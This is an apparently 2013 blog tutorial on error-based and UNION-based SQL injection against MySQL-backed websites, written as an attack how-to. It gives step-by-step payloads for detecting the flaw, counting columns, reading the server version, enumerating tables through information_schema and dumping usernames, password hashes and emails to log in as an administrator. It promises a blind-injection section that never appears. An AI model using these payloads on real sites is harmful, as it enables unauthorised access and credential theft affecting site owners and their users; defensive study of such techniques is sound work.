Mar 21, 2013

SQL injection

SQL injection 
It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it) :D 

2.Blind SQL Injection (the harder part) 

So let's start with some action :D 

1). Check for vulnerability 

Let's say that we have some site like this 

Now to test if is vulrnable we add to the end of url ' (quote), 

and that would be' 

so if we get some error like 
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :) 

2). Find the number of columns 

To find number of columns we use statement ORDER BY (tells database how to order the result) 

so how to use it? Well just incrementing the number until we get an error. order by 1/* <-- no error order by 2/* <-- no error order by 3/* <-- no error order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that) 

that means that the it has 3 columns, cause we got an error on 4. 

3). Check for UNION function 

With union we can select more data in one sql statement. 

so we have union all select 1,2,3/* (we already found that number of columns are 3 in section 2). ) 

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :) 

4). Check for MySQL version union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- 
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version 
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this union all select 1,@@version,3/* 

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." 

i didn't see any paper covering this problem, so i must write it :) 

what we need is convert() function 

i.e. union all select 1,convert(@@version using latin1),3/* 

or with hex() and unhex() 

i.e. union all select 1,unhex(hex(@@version)),3/* 

and you will get MySQL version :D 

5). Getting table and column name 

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. 
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ... 

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... 

i.e would be union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D) 

we know that table admin exists... 

now to check column names. union all select 1,username,3 from admin/* (if you get an error, then try the other column name) 

we get username displayed on screen, example would be admin, or superadmin etc... 

now to check if column password exists union all select 1,password,3 from admin/* (if you get an error, then try the other column name) 

we seen password on the screen in hash or plain-text, it depends of how the database is set up :) 

i.e md5 hash, mysql hash, sha1... 

now we must complete query to look nice :) 

for that we can use concat() function (it joins strings) 

i.e union all select 1,concat(username,0x3a,password),3 from admin/* 

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) 

(there is another way for that, char(58), ascii value for : ) union all select 1,concat(username,char(58),password),3 from admin/* 

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash 

when you have this, you can login like admin or some superuser :D 

if can't guess the right table name, you can always try mysql.user (default) 

it has user i password columns, so example would be union all select 1,concat(user,0x3a,password),3 from mysql.user/* 

6). MySQL 5 

Like i said before i'm gonna explain how to get table and column names 
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database. 

to get tables we use table_name and information_schema.tables. 

i.e union all select 1,table_name,3 from information_schema.tables/* 

here we replace the our number 2 with table_name to get the first table from information_schema.tables 

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. 

i.e union all select 1,table_name,3 from information_schema.tables limit 0,1/* 

note that i put 0,1 (get 1 result starting from the 0th) 

now to view the second table, we change limit 0,1 to limit 1,1 

i.e union all select 1,table_name,3 from information_schema.tables limit 1,1/* 

the second table is displayed. 

for third table we put limit 2,1 

i.e union all select 1,table_name,3 from information_schema.tables limit 2,1/* 

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D 

To get the column names the method is the same. 

here we use column_name and information_schema.columns 

the method is same as above so example would be union all select 1,column_name,3 from information_schema.columns limit 0,1/* 

the first column is diplayed. 

the second one (we change limit 0,1 to limit 1,1) 

ie. union all select 1,column_name,3 from information_schema.columns limit 1,1/* 

the second column is displayed, so keep incrementing until you get something like 

username,user,login, password, pass, passwd etc... :D 

if you wanna display column names for specific table use this query. (where clause) 

let's say that we found table users. 

i.e union all select 1,column_name,3 from information_schema.columns where table_name='users'/* 

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. 

Note that this won't work if the magic quotes is ON. 

let's say that we found colums user, pass and email. 

now to complete query to put them all together :D 

for that we use concat() , i decribe it earlier. 

i.e union all select 1,concat(user,0x3a,pass,0x3a,email) from users/* 

easily get password....enjoy ../*